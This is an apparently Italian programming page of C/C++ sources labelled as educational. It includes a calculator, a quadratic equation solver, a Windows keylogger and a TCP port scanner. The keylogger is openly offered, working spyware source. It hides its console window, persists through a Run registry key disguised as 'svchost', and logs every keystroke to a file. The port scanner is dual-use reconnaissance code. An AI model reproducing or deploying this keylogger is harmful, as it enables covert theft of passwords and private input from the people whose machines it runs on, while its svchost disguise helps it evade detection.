[H1dR0GeN0] - Programmazione

Programmazione

The C Programming Language

Ovvero programmiamo in C/C++

I sorgenti qui di seguito esposti sono esclusivamente a scopo didattico!

#include <iostream.h>

int main()
{
int a;
int b;
int x;
int i;

cout << "####################################################\n";
cout << "##               Calcolatrice v1                  ##\n";
cout << "##                  Coded by                      ##\n";
cout << "##                   N3cr0m                       ##\n";
cout << "####################################################\n";
cout << "\nInserisci il Primo Numero: ";
cin >> a;
cout << "\nInserisci il Secondo Numero: ";
cin >> b;
cout << "\nCosa Vuoi fare con " << a << " e " << b << " ??";
cout << "\nDecidi tra (1)Addizione (2)Sottrazione (3)Moltiplicazione (4)Divisione\n";             
cin >> i;

switch (i) {
        case 1:
                x = a + b;
                cout << "\nIl risultato dell'addizione e' " << x << "!\n";
                break;
        case 2:
                x = a - b;
                cout << "\nIl risultato della sottrazione e' " << x << "!\n";
                break;
        case 3:
                x = a * b;
                cout << "\nIl risultato della moltiplicazione e' " << x << "!\n";
                break;
        case 4:
                x = a / b;
                cout << "\nIl risultato della divisione e' " << x << "!\n";
                break;
}
}

/* Equazioni di primo e secondo grado */
#include <stdio.h>
#include <math.h>
#include <stdlib.h>

int main ()
{
   float A,B,C,X1,X2,X,Q,Aa,Bb,Xx,c;
   int s;
   for(;;)
   {
      printf("\n\nPROGRAMMA EQUAZIONI, SCEGLI UN OPZIONE\n");
      printf("Inserisci 1 per trovare la soluzione (reale), 
             di un'equazione di 1^ grado\n\n");
      printf("Inserisci 2 per trovare le soluzioni (reali), 
              di un'equazione di 2^ grado\n\n");
      scanf("%i",&s);
      switch (s) 
      {
         case 2:
         printf("\nProgramma che trova le soluzioni reali 
                di un equazione di 2^ grado\nnella forma Ax^2+Bx+C=0");
         printf("\n\nInserisci A  ");
         scanf("%f",&A);
         printf("\nInserisci B  ");
         scanf("%f",&B);
         printf("\nInserisci C  ");
         scanf("%f",&C);
         if (A==0)
         printf ("L'equazione non e' di secondo grado");
         else
         {
            if (C==0)
            {
               if (B==0)
               printf("Tutte le soluzioni sono uguali a 0");
               else
               {
                  X2=-B/A;
                  printf("1^ soluzione e' 0, la 2^ e' %f",X2);
               }
            } 
            else
            {
               if (B==0)
               {
                  if (A*C>0)
                  printf ("Soluzioni non reali");  
                  else
                  {
                     X1=(sqrt(-C/A));
                     X2=(sqrt(-C/A)*(-1));
                     printf("1^ soluzione e' %f, la 2^ e' %f",X1,X2);
                  }
               }
               else
               {
                  Q=(B*B)-(4*A*C);
                  if (Q<0)
                  printf("Le soluzioni sono complesse e disgiunte");
                  else
                  { 
                     X1=(-B+sqrt(Q))/(2*A);
                     X2=(-B-sqrt(Q))/(2*A);
                     printf("1^ soluzione e' %f, la 2^ e' %f",X1,X2);
                  }
               }
            }
         }
         printf("\n\nProgramma per equazioni\n\n\nPremi 0 per uscire,");
         printf("o qualsiasi altro numero per riprovare\n");
         scanf("%i",&c);
         if (c==0) exit(0);
         else break;
         case 1:
         printf("\n\nProgramma che trova la soluzione di un equazione nella forma Ax=B");
         printf("\n\nInserisci A  ");
         scanf("%f",&Aa);
         printf("\n\nInserisci B  ");
         scanf("%f",&Bb);
         if (Aa==0)
         {
            if (Bb==0)
            printf ("\n\nL'equazione ha infinite soluzioni\n");
            else
            printf ("\n\nL'equazione non ha soluzione\n");
         }
         else
         {
            Xx=Bb/Aa;
            printf ("\n\nLa soluzione dell'equazione e' %f\n",Xx);
         }
         printf("\n\nPROGRAMMA CREATO DA DDRAGON\n\n\nPremi 0 per uscire,");
         printf("o qualsiasi altro numero per riprovare\n");
         scanf("%i",&c);
         if (c==0) exit(0);
         else break;
         default:
         printf("\n\nErrore!!!! Scelta non corretta!!!");
         printf("\n\nPROGRAMMA CREATO DA DDRAGON\n\n\nPremi 0 per uscire,");
         printf("o qualsiasi altro numero per riprovare\n");
         scanf("%i",&c);
         if (c==0) exit(0);
         else break;
      }
   }
   return 0;
}

// Rand C++ Keylogger
// by Rand ;-)

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int controlla_chiave();
int crea_chiave(char* percorso);
int logga();

int main() {

HWND invisibilewin; // creo una finestra non visibile...
    AllocConsole();
    invisibilewin=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(invisibilewin,0);
   
    int esiste,crea;
    esiste=controlla_chiave(); // controllo se c'è la chiave...
         
    if (esiste==2) // creo la chiave nel registro se non esiste...
    {
        char *percorso="c:\\%windir%\\svchost.exe";
        esiste=crea_chiave(percorso);
         
    }
       
   
    int t=logga();
   
    return t;
}

int logga()
{
            short c;
              while(1)
              {
                     sleep(10); // per evitare l'utilizzo di tutta la cpu
                     for(c=8;c<=222;c++)
                     {
                         if(GetAsyncKeyState(c)==-32767)
                         {   
                             
                             FILE *file;
                             file=fopen("svchost.log","a+");
                             if(file==NULL)
                             {
                                     return 1;
                             }           
                             if(file!=NULL)
                             {       
                                     if((c>=39)&&(c<=64))
                                     {
                                           fputc(c,file);
                                           fclose(file);
                                           break;
                                     }       
                                     else if((c>64)&&(c<91))
                                     {
                                           c+=32;
                                           fputc(c,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     {
                                         switch(c)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;   
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                           
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;   
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                               
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }       
                                   }   
                              }       
                    }   
                }                 
                     
            }
            return EXIT_SUCCESS;                           
}

int controlla_chiave()
{
    int controlla;
    HKEY chiave;
    char percorso[BUFSIZE];
    DWORD buf=BUFSIZE;
    int reg_chiave;
   
    reg_chiave=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&chiave);
    if(reg_chiave!=0)
    {   
        controlla=1;
        return controlla;
    }       
           
    reg_chiave=RegQueryValueEx(chiave,"svchost",NULL,NULL,(LPBYTE)percorso,&buf);
   
    if((reg_chiave!=0)||(buf>BUFSIZE))
        controlla=2;
    if(reg_chiave==0)
        controlla=0;
         
    RegCloseKey(chiave);
    return controlla;   
}
   
int crea_chiave(char* percorso)
{   
        int reg_chiave, controlla;
       
        HKEY chiave;
       
        reg_chiave=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&chiave);
        if(reg_chiave==0)
        {
                RegSetValueEx((HKEY)chiave,"svchost",0,REG_SZ,(BYTE *)percorso,strlen(percorso));
                controlla=0;
                return controlla;
        }
        if(reg_chiave!=0)
                controlla=1;
               
        return controlla;
}

// Semplice Port Scanner in c
// by Rand

#include <stdio.h>
#include <Winsock.h>

void inizializzazione_socket(struct sockaddr_in *, int, long);
int menu(void);

int main()
{
   WSADATA ws;
WSAStartup(MAKEWORD(2,0), &ws); // Funzione necessaria in Windows per caricare in memoria la libreria winsock.dll

char IP_ADDRESS[20]; // Variabile che conterrà l'indirizzo IP del server
   int PORT, scelta, save;
   int mysock; // Socket descriptor
   int iport, fport;
   struct sockaddr_in server_address;
   FILE *file_ptr;

scelta = menu();
   if (scelta==1)
   {
      printf("Inserisci l'indirizzo dell'host: ");
      scanf("%s", IP_ADDRESS);
      printf("Inserisci il range di porte da esaminare");
      printf("\nPorta iniziale: ");
      scanf("%d", &iport);
      printf("Porta finale: ");
      scanf("%d", &fport);

printf("Inserisci 1 se vuoi salvare in un file la scansione\n"
              "2 se vuoi solo visualizzarla a video: ");
      scanf("%d", &save);
      if (save==1)
      {
         file_ptr = fopen("C:\scanned_host.txt", "w");
         fprintf(file_ptr, "********************\n");
         fprintf(file_ptr, "* Rand's Port Scanner *\n");
         fprintf(file_ptr, "* Version 1.0              *\n");
         fprintf(file_ptr, "********************\n\n");
         fprintf(file_ptr, "Host esaminato: %s\n", IP_ADDRESS);
       }
       printf("\aScansione in corso...\n");
       for (PORT=iport; PORT<=fport; PORT++) // Loop per analizzare un range di porte a scelta
        {
           inizializzazione_socket(&server_address, PORT, inet_addr(IP_ADDRESS)); // Funzione che che riempie le variabili della struttura sockaddr_in
           if (mysock = socket(AF_INET, SOCK_STREAM, 0)) // creazione del socket descriptor
           {
               if (!(connect(mysock, (struct sockaddr*) &server_address, sizeof(server_address))) ) // Tentativo di chiamata
               {
        // Il server ha risposto alla chiamata      
                  printf("\tPorta %d aperta\n", PORT); // Porta esaminata aperta
                  closesocket(mysock); // chiudiamo la chiamata su questa porta
                  if (save==1)
                    fprintf(file_ptr, "\tPorta %d aperta\n", PORT);

}
    // Il server non ha risposto alla chiamata
              /*else*/
              /* {*/
                   /* printf("\tPorta %d chiusa\n", PORT); Porta chiusa*/
                   /* closesocket(mysock); } Chiudiamo la chiamata su questa porta*/
           }
       }
       printf("\aScansione terminata!\n");
       if (save==1)
          printf("Scansione salvata su: C:\scanned_host.txt\n");
       fclose(file_ptr);
       WSACleanup(); // liberiamo la memoria dove c'era winsock.dll
    }
   getchar();
   getchar();

return 0;
}

void inizializzazione_socket(struct sockaddr_in *indirizzo, int port, long IPaddr)
{
  indirizzo->sin_family = AF_INET;
  indirizzo->sin_port = htons((u_short) port);
  indirizzo->sin_addr.s_addr = IPaddr;

return;
}

int menu(void)
{
   int scelta;

printf("********************\n");
   printf("* Rand's Port Scanner *\n");
   printf("* Version 1.0              *\n");
   printf("********************\n\n");
   printf("Inserisci 1 per effettuare una scansione 2 per uscire: ");
   scanf("%d", &scelta);
   return scelta;

}